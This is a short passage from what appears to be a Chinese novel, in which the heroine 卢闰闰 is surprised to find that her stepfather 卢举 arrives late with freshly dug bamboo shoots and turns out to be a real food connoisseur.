然而紧接着却又听见,他让仆人放下一筐笋,解释说这是他今晨去郊外现挖的,故而才到得迟了些。 卢闰闰耳朵微动,她还以为后爹是个附庸风雅的人,没想到还挺不同? 待听到卢举和谭二舅父说吃笋最好是现挖了在竹林里,边赏竹边吃,滋味最佳的时候,她面上显露出两分讶异。 行啊,这位后爹在吃上是行家啊!